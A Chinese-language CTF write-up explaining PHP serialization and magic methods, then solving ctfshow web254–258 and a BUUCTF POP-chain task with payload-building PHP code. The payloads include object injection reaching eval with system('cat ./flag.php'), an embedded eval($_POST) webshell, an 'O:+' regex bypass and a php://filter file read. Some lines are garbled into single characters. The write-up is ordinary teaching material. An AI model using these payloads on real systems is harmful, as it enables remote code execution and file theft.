序列化与反序列化
序列化:把对象转换为可传输的字节序列的过程。
反序列化:把字节序列转换为对象的过程。
目的:实现对象的跨平台储存,网络传输。
PHP中的函数
serialize:序列化
unserialize:反序列化
<?php
$aa=60;
echo serialize($aa);
?>
->i:60
tip:对字符串进行序列化后是它本身(ctfshow web260)
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
直接构造 /?ctfshow=ctfshow_i_love_36D
1.jpg
<?php
$a = array('hello','hi');
$a_ser = serialize($a);
echo $a_ser;
?>
#结果:a:2:{i:0;s:5:"hello";i:1;s:2:"hi";}
来具体分析一下:a:2:{i:0;s:5:“hello”;i:1;s:2:“hi”;}
2:表示a有两个属性
i:表示int型数据;0:表示下标0
s:表示string字符串数组;5:长度为5
php数据格式列表:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
反序列化中常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //析构函数,对象被销毁时触发
__construct() //构造函数,当创建对象时自动调用。
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
CTFshow-254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
首先分析一下:目标为‘flag.php’文件,
当isvip为true的时候,会输出flag
当username=password即可
?username=xxxxxx&password=xxxxxx
2.jpg
web 255
本题开始反序列化:
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
跟上一题一样,也是先将isvip->true
但是比上一题多了一步
u
s
e
r
=
u
n
s
e
r
i
a
l
i
z
e
(
user = unserialize(
user=unserialize(_COOKIE[‘user’]);
会将user进行反序列化操作:
所以说,只是构造:
?username=xxxxxx&password=xxxxxx
是不够的
因此,我们可以,构造一个调用了对象ctfShowUser并把变量isvip值设置为True的序列化字符串,而后将其传入到cookie中的user变量值处。
<?php
class ctfShowUser{
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
最后抓包传参:
web 256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
if($this->username!==$this->password)
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
# /?username=x&password=y
web 257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
主要利用:
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
中的eval 去执行命令:构造下列代码去获取cookie
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("cat ./flag.php");';
public function getInfo(){
eval($this->code);
}
}
echo(urlencode(serialize(new ctfShowUser())));
web 258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
##
<?php
class ctfShowUser{
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code = 'phpinfo();eval($_POST["kradress"]);';
public function getInfo(){
eval($this->code);
}
}
// O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:35:"phpinfo();eval($_POST["kradress"]);";}}
echo serialize(new ctfShowUser());
多了一个正则过滤
<?php
class ctfShowUser{
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code = 'phpinfo();eval($_POST["kradress"]);';
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:', 'O:+', $a);
echo urlencode($a);
buuctf
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
这道题主要是 pop链
$a=new Show();
$b=new Show();
a
−
>
s
o
u
r
c
e
=
a->source=
a−>source=b;
b
−
>
s
t
r
=
n
e
w
T
e
s
t
(
)
;
(
b->str=new Test(); (
b−>str=newTest();(b->str)->p=new Modifier();
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
<?php class Flag{ private $flag= "flag{e7aa43ad-56b2-45f2-a653-b9f69273c32e}"; } echo "Help Me Find FLAG!"; ?>